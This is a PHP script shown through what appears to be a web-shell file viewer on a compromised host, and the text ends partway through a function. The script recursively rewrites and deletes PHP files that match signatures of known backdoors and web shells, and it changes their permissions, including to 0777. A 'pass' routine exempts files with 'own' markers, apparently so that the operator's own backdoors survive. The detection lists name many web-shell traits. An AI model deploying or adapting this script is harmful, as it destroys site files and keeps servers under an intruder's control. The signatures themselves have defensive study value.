????
Your IP : 18.117.101.250
| Current Path : /tmp/ |
|
|
| Current File : //tmp/php3usVrA |
<?php
function i($i)
{
echo '{->|' . $i . '|<-}';
}
function searchDirs($dir, &$info)
{
$files = scandir($dir);
foreach ($files as $file) {
if ($file == '.' || $file == '..')
{
continue;
}
$real_dir = $dir . "/" . $file;
$real_dir = str_replace("//", "/", $real_dir);
if (is_link($real_dir))
{
continue;
}
if (is_file($real_dir) ) {
$info['file_count']++;
$size = filesize($real_dir);
if($size < 1000000 && stripos($real_dir, '.php') !== false){
@chmod($real_dir, 0644);
$content = file_get_contents($real_dir);
if(pass($real_dir, $content, $info))
{
continue;
}
if (strpos($real_dir, 'lock360.php') !== false)
{
if(@unlink($real_dir) == true) {
$trojan = array(
'path' => $real_dir,
'status' => 1
);
$info['trojan'][] = $trojan;
}
}
clearWithPreg($real_dir, $content, $info);
deleteTrojan($real_dir, $content, $size,$info);
}
continue;
}
searchDirs($real_dir, $info);
}
}
function clearWithPreg($real_dir, $content, &$info)
{
$feature = array(
array("check" => '$bkindex', "preg"=>'\$index = \$_S.+?ht,0444[^}]+}[^}]+}'),
array("check" => '$bkindex', "preg"=>'\$index = \$_S.+(?=function wp_schedule_event)'),
array("check" => '$bkindex', "preg"=>'if\(function_exists\(\'sys_get_temp_dir.+(?=function wp_schedule_event)'),
array("check" => '$bkidex', "preg"=>'\$inxdex = \$_S.+\'292\'\); } }'),
array("check" => '//ckIIend', "preg"=>'\/\/ckIIbg.+?\/\/ckIIend'),
array("check" => '//ckIIbg', "preg"=>'\/\/ckIIbg.+?nowIndexFile,0555.+?}.+?}'),
array("check" => '$ruzhu_php_jm', "preg"=>'\$do.+?ruzhu_php_jm.+?2018-09-10 20:28:01"\);}'),
array("check"=>'scp-173', "preg"=>'<\?php.+?scp-173\?>'),
//array("check"=> 'x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6', "preg"=>'\$ZdJ=.+?Qj=="\);'),
array("check"=> 'x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6', "preg"=>'<\?php error_reporting\(0\);.+?\?>'),
array("check"=> '\x34\x35\x34\x33\x63\x68\x64\x69\x72\x65\x78\x65\x63\x70\x68\x70\x70\x73', "preg"=> '<\?php error_reporting.+?\);}'),
array("check"=> 'PCFET0NUWVBFIEhUTUwgUFVCTE', "preg"=> '<\?php.+?PCFET0NUWVBFIEhUTUwgUFVCTE.+?>'),
array("check"=> 'file_get_contents($index_path)', "preg"=> '<\?php.+?file_put_contents\(\$index_path, \$index_hide\).+?>'),
array("check"=> 'file_get_contents($index_path)', "preg"=> '\$path = ".+?\$htaccess, 0444\);\s+?}\s+?}'),
array("check"=> 'open_cache_ruzhu_phpcode', "preg"=> 'error_reporting[^}]+?open_cache_ruzhu_phpcode.+?huan_yuan_htaccess.+?}'),
array("check"=>'@include "\\', "preg"=>'@include.+?;'),
array("check"=>'global $O', "preg"=>'<\?php @header\(.+\$O\[[0-9]{1,2}\]\);} \?>'),
array("check"=>'/* Custom write log to ensure the operation of the website */', "preg"=>'\/\* Custom write log to ensure the operation of the website \*\/.+\$shut\[1\]\(\);'),
array("check"=>'function_exists(\'copy\')', "preg"=>'if\(function_exists\(\'copy\'\)\){[^}]+}'),
array("check"=>'$get_size_of_file', "preg"=>'\$get_size_of_file.+?call_user_func.+?;}}'),
array("check"=>'/* index-configs */', "preg"=>'<\?php \/\* index-configs \*\/.+eval.+\?>'),
array("check"=>'$ihx .= "define', "preg"=>'\$i = .+?\$ihx \.=.+?}.+?}'),
array("check"=> '@include base64_decode("', "preg" => '@include base64_decode\("[^"]+"\);'),
array("check"=> '@include base64_decode(\'', "preg" => '@include base64_decode\(\'[^\']+\'\);'),
array("check"=> '@include($f)', "preg" => '\$_HEADERS = getallheaders.+?@unlink\(\$f\);}'),
array("check"=> '$i = \'inde\'.\'x.php\'', "preg" => '\$i = \'inde\'\.\'x\.php\';.+?LOCK_EX\);.*?}'),
array("check"=> '@call_user_func(', "preg" => '\$f_size =.+@call_user_func.+?}\s+}\s+}'),
array("check"=> '$inxxdex', "preg" => '\$inxxdex = .+?\$inxxdex = "";'),
array("check"=> '$ixsssxdx', "preg" => '\$ixsssxdx =.+\$ixsssxdx.+?\);\s+}\s+}'),
array("check"=> '@include_once', "preg" => '\/\*[a-zA-Z0-9]{4,7}.+?@include_once.+?\/\*[a-zA-Z0-9]{4,7}'),
array("check"=> '/** elutguozk fbz **/', "preg" => '<\?php \$.+?\/\*\* elutguozk fbz \*\*\/.+?\?>'),
array("check"=> '@include ', "preg" => '@include ".+?";'),
array("check"=> '$hct', "preg" => 'if\(\$hct.+\$bksht.+?\);\s+}\s+}'),
array("check"=> '$hct', "preg" => 'if\(\$hct.+\wp-emoji-in\.min.+?.+292.+?\);\s+}\s+}'),
//
//array("check"=>'include "', "preg"=>'include ["\'][^\']+?[^.php]["\'];'),
);
foreach ($feature as $item) {
$decode_item = $item['check'];
if (strpos($content, $decode_item) !== false){
//$content = file_get_contents($real_dir);
$old_length = strlen($content);
$content = preg_replace('/' .$item['preg'].'/si', "", $content);
@chmod($real_dir, 0777);
$new = @file_put_contents($real_dir, $content);
$hide_code = array(
'path' => $real_dir,
'feature' => $item['check'],
'old_length' => $old_length,
'new_length' => strlen($content),
'written_length' => $new
);
$info['hide_code'][] = $hide_code;
}
}
}
function deleteTrojan($real_dir, $content, $size, &$info){
$content_md5 = md5($content);
$feature = array("3ed2bcd9af3a8a4cc6a2d64c0e29323a","4500d7207ae89f588ae6bb46dc4cfc4c",'e95257e2f87a5324faa741d7bd256d10','380fa777b8c37fb60811e5972391261b','af92294c9e7d5f25ca0f7ec2371a830d','656fd2931ced4e62f2b73b065c1cb834','a9939c9ec3f1c09aba4a9c031b69d5b1','e72a4bad8eeb37181a5ac116073a0f2f','565ae477a280cb823d049e0e99c069b9','f2820d0981f75a2dae76e1ef4d628fe3','f66c24dd3c20ae8d4c2e71b27d4a3a2c','6bcb1a0971168190045636f83c490226','7c20feb7139226fbbbaa6d962adf5a75', '0c76ba322ca7009f0a155fce8dbbd9e0', 'e23b765107d824560a1edbb9e98f7ad7', '00c121a6f126196a2f159aaacb59a94d', '4056a2010da76111934c397f989bc1bc', 'fe8363339acbf327271cd5dc6843098b', 'b263f5b0dfcce9774f6e70f0932afcf2', 'cdf89ad3c74d0d6f4ce88eaa578440e8', '0152b6b8bc439e5cc3f8fde49952e470','1e499ce31b1879197b746d50aa21901e','82e89c090162303f2b95f0b916c2e1e6','1970fbfd414373d0c98ab147b9cb2022','c530b3e97a4642da2eab74d9b4f2d61c','2f1c426b9c3e4b01427bdc69262ee8de','bcec677bac0083b7c4a0849ccaa0f711', '8827c82e802c7d4df006148fd14e9ebc','363f04ba317bed872f62d2d9e6fdae19','5db85c130f31f2cb623d5a285997a704','b857f22b00098f85aa4d77acd58df73c','770616aff8677a033e946f6f01eb6ba3',
'112fc0af846dc2f6664f1a68f6f53594','893e4dde777558cc5fec4276c5a94dc0','d39ac622537d80caf7cb630899250e00','dacc0f895428822979bda234f4f15bfe','8dec392ede6ffafe434b401cf8e59cee','1a09efdc2d5a1f8b31132238651df3fb','a55395546859b922c4b7808b959043c0','aba3d13150cba65a25a974f6f66e25a4','4f6ca51ca0eba1c4ec9dab8f7fbfa87d','2240b1ed64d66a77d365934b42303ae9','bc747ff54ee849a60d2eb86208796115','b69bf8f5901d6be8fa239591fe752f39','ab3ab227167426b00efe41924ff86190','89d91ddee6f715acba63dc9e03e86de0','f67cf7731c19a10d0549419cef9619f0'
);
$feature_for_contain = array(
'"bas"."e64_d"."ecode"',
"'base64','_deco','de'",
'"ba" . "se6" . "4"',
"'helloword','create_','hellowordfunction'",
'I could not have a more welcome visitor 64 group of zain bani',
'_=\'Loading Class/Code NAME\'',
'PHP Encode v1.0 by zeura.com',
'get1_str($str1)',
'$_GET[\'ername\']',
'isset($_POST[\'f_p\'])',
'cb508614978e98198cb3d9c89d0fc47f'
);
foreach ($feature as $item) {
if ($content_md5 == $item)
{
if(@unlink($real_dir) == true) {
$trojan = array(
'path' => $real_dir,
'status' => 1
);
} else {
$trojan = array(
'path' => $real_dir,
'status' => 0
);
}
$info['trojan'][] = $trojan;
}
}
foreach ($feature_for_contain as $item) {
if (strpos($content, $item) !== false)
{
if(@unlink($real_dir) == true) {
$trojan = array(
'path' => $real_dir,
'status' => 1,
'feature' => $item
);
} else {
$trojan = array(
'path' => $real_dir,
'status' => 0,
'feature' => $item
);
}
$info['trojan'][] = $trojan;
}
}
$result = other($size, $content, $real_dir);
if($result != '')
{
if(@unlink($real_dir) === true) {
$trojan = array(
'path' => $real_dir,
'status' => 1,
'feature' => $result
);
} else {
file_put_contents($real_dir, '');
$trojan = array(
'path' => $real_dir,
'status' => 0,
'feature' => $result
);
}
$info['trojan'][] = $trojan;
}
}
function checkSize($fileSize, $checkSize){
$status = false;
if(abs($fileSize - $checkSize) < 250){
$status = true;
}
return $status;
}
function other1($size, $txt, $realDir){
if(strstr($txt,'null;@eval(') && strstr($txt,'};$')){
return 'other1';
}
if(strstr($txt, 'get_str') && strstr($txt, 'str_rot13') && strstr($txt, '@eval(')){
return 'other2';
}
if(strstr($txt, 'ignore_user_abort') && strstr($txt, "@include(pack(")){
return 'other3';
}
if(strstr($txt, 'base64_decode') && strstr($txt, "@chmod") && strstr($txt, '=="') && !strstr($txt, 'cpa_ind5.php')){
return 'other4';
}
if(strstr($txt, 'gzuncompress(strrev(') && strstr($txt, "create_function") && checkSize($size, 22534)){
return 'other5';
}
if(strstr($txt, 'cdn.jsdelivr.net') && strstr($txt, "sweetalert.min.js") && checkSize($size, 13695)){
return 'other6';
}
if(strstr($txt, ')return') && strstr($txt, "}else{function")){
return 'other7';
}
if(strstr($txt, 'class_uc_key') && strstr($txt, "hexdec") && checkSize($size, 60048)){
return 'other8';
}
if(strstr($txt, 'require(@$') && strstr($txt, "error_reporting(0);") && strstr($txt, "set_time_limit(0);")){
return 'other9';
}
if(strstr($txt, '$_post') && strstr($txt, '$_cookie') && strstr($txt, 'md5(') && strstr($txt, '@setcookie') && strstr($txt, 'create_function')){
return 'other10';
}
return '';
}
function other2($size, $txt, $realDir){
if(strstr($txt, ';@include(') && strstr($txt, '$_post') && strstr($txt, '$_cookie') && strstr($txt, 'return @$')){
return 'other11';
}
if(strstr($txt, "getcwd") && strstr($txt, 'file_exists') && strstr($txt, '@chdir') && strstr($txt, '@scandir')){
return 'other12';
}
if(strstr($txt, '.chr(') && strstr($txt, "@include(") && strstr($txt, "chr(ord($")){
return 'other13';
}
if(strstr($txt, 'register_key') && strstr($txt, "kaylin") && checkSize($size, 86523)){
return 'other14';
}
if((strstr($txt, "base64_decode") || strstr($txt, 'error_reporting')) && strstr($txt, '"display_errors"') && strstr($txt, 'function_exists')){
return 'other15';
}
if(strstr($txt, "base64_decode") && strstr($txt, 'fwrite') && strstr($txt, '.php?pass=')){
return 'other16';
}
if(strstr($txt, '$_server["\x') && strstr($txt, "serialize")){
return 'other17';
}
if(strstr($txt, 'parse_str') && strstr($txt, "<?=") && !strstr($txt, 'highlighter')){
return 'other18';
}
if(strstr($txt, 'eval(') && strstr($txt, "foxauto")){
return 'other19';
}
if(strstr($txt, 'eval(') && strstr($txt, 'rawurldecode(') && strstr($txt, 'function%20')){
return 'other20';
}
return '';
}
function other3($size, $txt, $realDir)
{
if(strstr($txt, '$g($b($c))') && strstr($txt, "_dec") && checkSize($size, 7563)){
return 'other21';
}
if(strstr($txt, '$_post[') && strstr($txt, "eval(") && strstr($txt, ";@$") && checkSize($size, 453)){
return 'other22';
}
if(strstr($txt, 'filemtime') && strstr($txt, "preg_match('#<") && checkSize($size, 21596)){
return 'other23';
}
if(strstr($txt, 'parse_str') && strstr($txt, "eval") && strstr($txt, "'1=%'")){
return 'other24';
}
if(strstr($txt, 'php_uname') && strstr($txt, "move_uploaded_file") && checkSize($size, 1133)){
return 'other25';
}
if(strstr($txt, 'dehex(') && strstr($txt, "/etc/named.conf") && strstr($txt, '$_files["uploadfile"]')){
return 'other26';
}
if(strstr($txt, '?><?php') && strstr($txt, ");$") && strstr($txt, "'}'")){
return 'other27';
}
if(strstr($txt, 'function_exists') && strstr($txt, ");@$") && strstr($txt, '.="\x')){
return 'other28';
}
if(strstr($txt, '"\1') && strstr($txt, "gettype") && (strstr($txt, ";@$") || strstr($txt, "count"))){
return 'other29';
}
if(strstr($txt, "return 'other'.$") && strstr($txt, '},$') && strstr($txt, '});$')){
return 'other30';
}
return '';
}
function other4($size, $txt, $realDir)
{
if(strstr($txt, '"\r\n"') && strstr($txt, '= @$') && strstr($txt, 'new ') && strstr($txt, 'chr($')){
return 'other31';
}
if(strstr($txt, 'index.php') && strstr($txt, '@file_put_contents') && strstr($txt, 'xiaoxiannv')){
return 'other32';
}
if(strstr($txt, ';@$') && strstr($txt, ")].$") && strstr($txt, "(('')")){
return 'other33';
}
if(strstr($txt, ']];$') && strstr($txt, "base64_decode") && strstr($txt, "mktime")){
return 'other34';
}
if((strstr($txt, '_files') || strstr($txt, 'base64_decode')) && strstr($txt, '_get') && (strstr($txt, "error_reporting") || strstr($txt, "ignore_user_abort") || strstr($txt, "fm_convert_win")) && strstr($txt, 'set_time_limit') && !strstr($realDir, '.min.js') && !strstr($txt, 'updraftplus') && !strstr($txt, 'EASYPOPULATE_CONFIG')){
return 'other35';
}
if(strstr($txt, '$_post') && (strstr($txt, 'file_put_contents') || strstr($txt, "fopen")) && strstr($txt, 'error_') && strstr($txt, 'script') && strstr($txt, '_files') && (strstr($txt, 'opendir') || strstr($txt, 'scandir')) && strstr($txt, 'chmod') && strstr($txt, 'filesize') && strstr($txt, 'ini_') && strstr($txt, 'exec(')){
return 'other36';
}
if(strstr($txt, 'php_uname') && strstr($txt, "mail(") && strstr($txt, "json_encode") && strstr($txt, '$_get') && strstr($txt, 'curl_exec')){
return 'other37';
}
if(strstr($txt, "eval('?>'.$") && !strstr($txt, 'mustache')){
return 'other38';
}
if(strstr($txt, 'eval(') && (strstr($txt, "base64_decode(") || strstr($txt, '\x6') || strstr($txt, 'openssl_decrypt'))){
return 'other39';
}
if(strstr($txt, 'multipart') && strstr($txt, 'type="file"') && (strstr($txt, 'if(@copy') || strstr($txt, '@fopen'))){
return 'other40';
}
return '';
}
function other5($size, $txt, $realDir)
{
if((strstr($txt, 'base64_decode') || strstr($txt, '@shmop_open')) && strstr($txt, '$_files') && strstr($txt, '@copy') && !strstr($txt, 'wp_handle_upload_error')){
return 'other41';
}
if(strstr($txt, 'goto') && strstr($txt, ": function") && strstr($txt, ": eval(")){
return 'other42';
}
if(strpos($txt, 'F-Automatical') && strpos($txt, '$_POST[\'email\']') && strpos($txt, 'Send an report to'))
{
return 'other43';
}
if(strpos($txt, 'goto ') && strpos($txt, 'base64_decode') && strpos($txt, 'symlink'))
{
return 'other44';
}
if(preg_match("/(chr\([0-9]{1,3}\)\.){5}/si", $txt))
{
return 'other45';
}
if(preg_match_all("/\([0-9]{5}-[0-9]{5}\)/si", $txt, $matches) > 5)
{
return 'other46';
}
if(strpos($txt, '\'log_errors\'') && strpos($txt, '\'error_log\'') && strpos($txt, '\'error_reporting\''))
{
return 'other47';
}
if(strpos($txt, 'range(chr(126),chr(20));'))
{
return 'other48';
}
if (strpos($txt, '$_POST[\'cmd\'] == "get_file_data"') && strpos($txt, '$_POST[\'cmd\'] == "get_files"') && strpos($txt, '$_POST[\'cmd\'] == "shell_exec"'))
{
return 'other49';
}
if((strpos($txt, "PD9waH") || strpos($txt, "Ym90Ym90Ym90")) && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other50';
}
return '';
}
function other6($size, $txt, $realDir)
{
if(strpos($txt, "htaccess_rul") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other51';
}
if(strpos($txt, "%21mod%5B%7C%22D%") && strpos($txt, "gzinflate(base64_decode") && strpos($txt, "curl_exec") )
{
return 'other52';
}
if(strpos($txt, "WaomRuw") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other53';
}
if(preg_match("/goto [a-zA-Z0-9]{5};/si", $txt))
{
return 'other54';
}
if(preg_match('/@unlink\(\$[0oO]+\);/si', $txt))
{
return 'other55';
}
if(strpos($txt, 'eval("\"$A\"");') && strpos($txt, '_POST[911]'))
{
return 'other56';
}
if(strpos($txt, '199093f0455d6e79bb8e4bbe1ae1b86d') && strpos($txt, 'HTTP_USER_AGENT'))
{
return 'other57';
}
if(preg_match('/function [a-z][0-9]\(\$[a-z][0-9], \$[a-z][0-9]{2}\){return @\$[a-z][0-9][[0-9]+]\(\$[a-z][0-9][[0-9]+], \$[a-z][0-9]{2}\);}/si', $txt))
{
return 'other58';
}
if(strpos($txt, "Create_Function") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other59';
}
if(preg_match('/goto [a-zA-Z]{2};/si', $txt))
{
preg_match_all('/goto [a-zA-Z]{2};/si', $txt, $matches);
if(count($matches[0]) > 5){
return 'other60';
}
}
return '';
}
function other7($size, $txt, $realDir)
{
if(strpos($txt, "eval") && strpos($txt, "hex2bin") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other61';
}
if(strpos($txt, "https://glot.io/snippets") || strpos($txt, "https://glot.io/static"))
{
return 'other62';
}
if(strpos($txt, '$pwd=base64_encode($pwd)') && strpos($txt, "eval") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other63';
}
if(preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
preg_match_all('/\([0-9]{1,3}[-+*\/][0-9]{1,3}\)/si', $txt, $matches);
if(count($matches[0]) > 5){
return 'other64';
}
}
if(strpos($txt, 'Upload $i Files Successfully!') && strpos($txt, "Create Folder Successfully!") && strpos($txt, "Create File Successfully!"))
{
return 'other65';
}
if(strpos($txt, 'empty($_POST[\'email\'])') && strpos($txt, 'Result Report Test -
".$xx,"WORKING !"') && strpos($txt, "send an report"))
{
return 'other65';
}
if(strpos($txt, "loggedIn") && strpos($txt, "EVAL") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other66';
}
if(strpos($txt, 'eval') && strpos($txt, '$_SESSION[$payloadName]') && strpos($txt, "php://input"))
{
return 'other67';
}
if(strpos($txt, "@create_function") && strpos($txt, "base64_decode") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other68';
}
if(strpos($txt, "\$_COOKIE['f_pp']") && strpos($txt, "\$_POST['f_pp']") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other69';
}
if(strpos($txt, "shell519") && strpos($txt, '$shell_content3') && strpos($txt, "read_dir_queue1"))
{
return 'other70';
}
return '';
}
function other8($size, $txt, $realDir)
{
if(strpos($txt, "unlink('.hindexcontent');") && strpos($txt, "wp-content/plugins/akismet") && strpos($txt, "'wp-content/themes"))
{
return 'other71';
}
if(strpos($txt, "bjRficAiyoSn") && strpos($txt, "unlink") && strpos($txt, '$f('))
{
return 'other72';
}
if(strpos($txt, "https://hastebin.com/raw/") && strpos($txt, "/999MD999.html") && strpos($txt, '$_FILES'))
{
return 'other73';
}
if(strpos($txt, "Shell Bypass 403") && strpos($txt, "unlink(\$_GET['delete']"))
{
return 'other74';
}
if(strpos($txt, "is_cli()") && strpos($txt, "disable_functions") && strpos($txt, "ini_get"))
{
return 'other75';
}
if(strpos($txt, "\$pp6 = Array()") && strpos($txt, "se1(\$we2)") && strpos($txt, "ir7(\$pp6"))
{
return 'other76';
}
if(strpos($txt, "<!-- GIF89;a -->") && strpos($txt, "\$lokasinya") && strpos($txt, "\$_GET['pilihan']"))
{
return 'other77';
}
if(strpos($txt, "\$GNJ[]") && strpos($txt, "\$GNJ[33]") && strpos($txt, "(uhex("))
{
return 'other78';
}
if(strpos($txt, "smisbot()") && strpos($txt, "\$Prefix") && strpos($txt, "@ignore_user_abort"))
{
return 'other79';
}
if(strpos($txt, "goto VZ") && strpos($txt, "\$_FILES[\"f\"]") && strpos($txt, "http_response_code"))
{
return 'other80';
}
return '';
}
function other9($size, $txt, $realDir)
{
if(strpos($txt, "@set_time_limit(0);") && strpos($txt, "\$_FILES[") && strpos($txt, "\$perms & 0x0100"))
{
return 'other81';
}
if(strpos($txt, "die;") && strpos($txt, "4@MTP*") && strpos($txt, "curl_setopt"))
{
return 'other82';
}
preg_match_all('/\/\*([^*]{5,10})\*\//si', $txt, $matches, PREG_PATTERN_ORDER);
if($matches)
{
if(count($matches[0]) > 10 )
{
return 'other83';
}
}
if(strpos($txt, "header('shell: :)')") && strpos($txt, 'http_response_code(404)') && strpos($txt, '$_FILES[\'a\'][\'name\']'))
{
return 'other84';
}
if(strpos($txt, "case 'batchDel'") && strpos($txt, '删除选中文件') && strpos($txt, '$_SERVER[\'DOCUMENT_ROOT\']'))
{
return 'other85';
}
if(preg_match('/\$[a-zA-Z]+\[\([0-9]+ - [0-9]+\) \/ [0-9]+\]/si', $txt) && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other86';
}
if(preg_match_all('/\$x[0-9]+=\$x[0-9]+\(\$_\[[0-9]+\]\);/si', $txt, $matches)> 5)
{
return 'other87';
}
if(strpos($txt, '$_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]'))
{
return 'other88';
}
if(strpos($txt, 'www.google.com/ping?sitemap') && strpos($txt, '$_SERVER[\'REQUEST_URI\']') && strpos($txt, 'CURLOPT_URL'))
{
return 'other89';
}
if(strpos($txt, "\$_GET['k']") && strpos($txt, '$_POST[\'cmd\'] == "mkdir"') && strpos($txt, '$_POST[\'cmd\'] == "upload"'))
{
return 'other90';
}
return '';
}
function other10($size, $txt, $realDir){
if(strpos($txt, "create_function ") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other91';
}
if(strpos($txt, "class Killbot {") && strpos($txt, "error_reporting();") && strpos($txt, "session_start();"))
{
return 'other92';
}
if(preg_match('/EVaL\(\$[a-zA-Z0-9]{13}\);/si', $txt))
{
return 'other93';
}
if(strpos($txt, "move_uploaded_file") && strpos($txt, "error_reporting(0)") && strpos($txt, "\$_FILES['file']"))
{
return 'other94';
}
if(strpos($txt, "@\$_POST['css']") && strpos($txt, '@eval("$this->name")'))
{
return 'other95';
}
if(strpos($txt, "@serialize") && strpos($txt, 'md5')&& strpos($txt, '(ord(') && preg_match_all('/\$[^(]+\([0-9]+-[0-9]+\)/si', $txt, $matches)> 5)
{
return 'other96';
}
if(strpos($txt, "<title>Uploader") && strpos($txt, '$_SERVER[\'DOCUMENT_ROOT\']."</br>".php_uname()') && strpos($txt, '$_FILES[\'uploads\'][\'tmp_name\']'))
{
return 'other97';
}
if(strpos($txt, "error_reporting ") && strpos($txt, "display_errors ") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other98';
}
if(strpos($txt, 'file_put_contents($lokasi."/".$_POST[\'namalink\'], @file_get_contents($_POST[\'darilink\']))') && strpos($txt, "Shell"))
{
return 'other99';
}
if(strpos($txt, '@file_put_contents($ps,doutdo($urlc))') && strpos($txt, "ping_sitemap("))
{
return 'other100';
}
return '';
}
function other11($size, $txt, $realDir)
{
if(strpos($txt, 'error_reporting(0);') && strpos($txt, '["tmp_name"]') && strpos($txt, '$_POST[\'nn\']'))
{
return 'other101';
}
if(strpos($txt, 'define(\'VERSION\',\'kaylin\');') && strpos($txt, 'array_walk') && strpos($txt, 'create_function'))
{
return 'other102';
}
if(preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
preg_match_all('/\([0-9]+-[0-9]+\)/si', $txt, $matches);
if(isset($matches[0]) && count($matches[0]) > 10)
{
return 'other103';
}
if(strpos($txt, 'base64_decode') && strpos($txt, 'ord('))
{
return 'other103';
}
}
if(strpos($txt, '@eval($_POST[$a]);') || strpos($txt, '@eval($_POST[\'google\']);') )
{
return 'other104';
}
if(strpos($txt, '?upload&q=\' . urlencode(encodePath(PATH))') && strpos($txt, 'move_uploaded_file($_FILES["fileToUpload"]["tmp_name"]'))
{
return 'other105';
}
if(strpos($txt, 'define("HTACCESS", "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .con7ext \n AddHandler cgi-script .con7ext \n AddHandler cgi-script .con7ext");') && strpos($txt, 'dec($GLOBALS["get"]["p"])'))
{
return 'other106';
}
if(strpos($txt, '$bbbb6b6b=explode("1l"') && strpos($txt, '$l1YCy,-1,PREG_SPLIT_NO_EMPTY'))
{
return 'other107';
}
if(strpos($txt, 'eval("eva".bypass()."x\']);");'))
{
return 'other108';
}
if(strpos($txt, '@eval($_mhtc)'))
{
return 'other109';
}
if(preg_match("/unserialize\([_a-zA-Z0-9]+?\([_a-zA-Z0-9]+?\(base64_decode/si", $txt))
{
return 'other110';
}
return '';
}
function other12($size, $txt, $realDir)
{
if(preg_match("/\/\*[a-zA-Z0-9]{4,7}.+?@include_once.+?\/\*[a-zA-Z0-9]{4,7}/si", $txt))
{
return 'other111';
}
if(preg_match('/\$i="[-_%a-zA-Z0-9+.]{200,}"/si', $txt))
{
return 'other112';
}
if(preg_match('/chr\([0-9]{2,4}-[0-9]{2,4}\)"/si', $txt))
{
preg_match_all('/chr\([0-9]{2,4}-[0-9]{2,4}\)/si', $txt, $matches);
if(isset($matches[0]) && count($matches[0]) > 5)
{
return 'other113';
}
}
if(preg_match('/\$arr\[9]/si', $txt))
{
preg_match_all('/\$arr\[9]/si', $txt, $matches);
if(isset($matches[0]) && count($matches[0]) > 8)
{
return 'other114';
}
}
if(preg_match('/\$GLOBALS\["[b6]+"]/si', $txt))
{
return 'other115';
}
if(strpos($txt, 'a3421fffd6af8a102b26302b9a5103ff') || strpos($txt, '4f7f3da06809dc3d94dacceed40dfaad')|| strpos($txt, 'be54aace58d583f26839a0e8cd1bf90d'))
{
return 'other116';
}
if(preg_match('/\$[_a-z]+\([0-9]{3}-[0-9]{3}\)/si', $txt))
{
preg_match_all('/\$[_a-z]+\([0-9]{3}-[0-9]{3}\)/si', $txt, $matches);
if(isset($matches[0]) && count($matches[0]) > 8)
{
return 'other117';
}
}
if(strpos($txt, 'call_user_func("a\x6cf\x61".$_POST["a"])'))
{
return 'other118';
}
if(strpos($txt, '$f_size="\x66il\x65si\x7ae";$str_rep="\x73tr\x5fre\x70la\x63e";'))
{
return 'other119';
}
if(strpos($txt, '$result = doutdo($url);'))
{
return 'other200';
}
return '';
}
function other13($size, $txt, $realDir)
{
if(strpos($txt, '$RBF7F3NWGUFKX96CBENWGUFKX7DF9B98D6F1F8CF03F8690') || strpos($txt, 'F4F990NWGUFKX8E244NWGUFKX91AAFBE8FC2D360B9F8C3C')|| strpos($txt, 'investingnews.blog/action'))
{
return 'other201';
}
if(strpos($txt, 'is_dir(decodePath($_GET[\'q\']))') || strpos($txt, '?upload&q=\' . urlencode(encodePath(PATH)')|| strpos($txt, '$_FILES["fileToUpload"]["tmp_name"]'))
{
return 'other202';
}
if(strpos($txt, 'while(!@feof($f))') || strpos($txt, 'kill -9 -1')|| strpos($txt, 'do_phpfun'))
{
return 'other203';
}
if(strpos($txt, 'isset($_GET["\x70"])') || strpos($txt, 'goto ')|| strpos($txt, 'do_download'))
{
return 'other204';
}
if(strpos($txt, '@eval($_POST[\'cdshell\'])'))
{
return 'other205';
}
if(strpos($txt, '"\n", "\t", "%", "#", "(", ")", ">", "<", ":", ";", ".", ",", "^", "&", "*", "@", "$"'))
{
return 'other206';
}
if(strpos($txt, 'doggonedrascaldecorous') && strpos($txt, 'usleep(8)'))
{
return 'other207';
}
if(strpos($txt, 'eval($wpautop);'))
{
return 'other208';
}
if(strpos($txt, '$func[14]') && strpos($txt, '$func[29]') && strpos($txt, '$_FILES[\'uploadfile\']'))
{
return 'other209';
}
if(strpos($txt, 'file_get_contents(\'php://input\')') || strpos($txt, 'get_my_files($item);'))
{
return 'other210';
}
return '';
}
function other14($size, $txt, $realDir){
if(strpos($txt, '*/@eval/*') || strpos($txt, 'get_my_files($item);'))
{
return 'other211';
}
if(strpos($txt, 'selifnaj') && strpos($txt, 'kkonodnarb'))
{
return 'other212';
}
if(strpos($txt, "\$_GET['bak']") && strpos($txt, 'OK >> $file'))
{
return 'other213';
}
if(strpos($txt, 'eval ($decoded);') || strpos($txt, 'call_user_func("a\x6cf\x61".$_POST["a"]'))
{
return 'other214';
}
if(strpos($txt, "eval(") && strpos($txt, '.curlget('))
{
return 'other215';
}
if(strpos($txt, "eVAl/*") && strpos($txt, 'curl_exec'))
{
return 'other216';
}
if(strpos($txt, 'chr(ord($') && strpos($txt, 'base64_encode($'))
{
return 'other217';
}
if(strpos($txt, '/*52e39b8501179067ce6393c8f777c52b*/') && strpos($txt, 'file_exists($tmpfname'))
{
return 'other218';
}
return '';
}
function other($size, $txt, $realDir)
{
for ($i=1; $i<15; $i++)
{
$f = 'other' . $i;
$result = $f($size, $txt, $realDir);
if($result != '')
{
return $result;
}
}
return '';
}
function pass($real_dir, $content, &$info)
{
$feature = '';
if(strpos($content, '@include_once')){
return false;
}
if (strpos($content, '7c703c76d1a6d63383a19e3a4d6f7895'))
{
$feature = 'own1';
};
if (strpos($content, '$L7CRgr'))
{
$feature = 'own2';
}
if (strpos($content, 'cAT3VWynuiL7CRgr'))
{
$feature = 'own3';
}
if (strpos($content, 'api=%s&ac=%s&path=%s&t=%s'))
{
$feature = 'own4';
}
if (strpos($content, '"PD9waHA="'))
{
$feature = 'own5';
}
if (preg_match('/\$dp="[a-zA-Z0-9=]+"/si', $content))
{
$feature = 'own6';
}
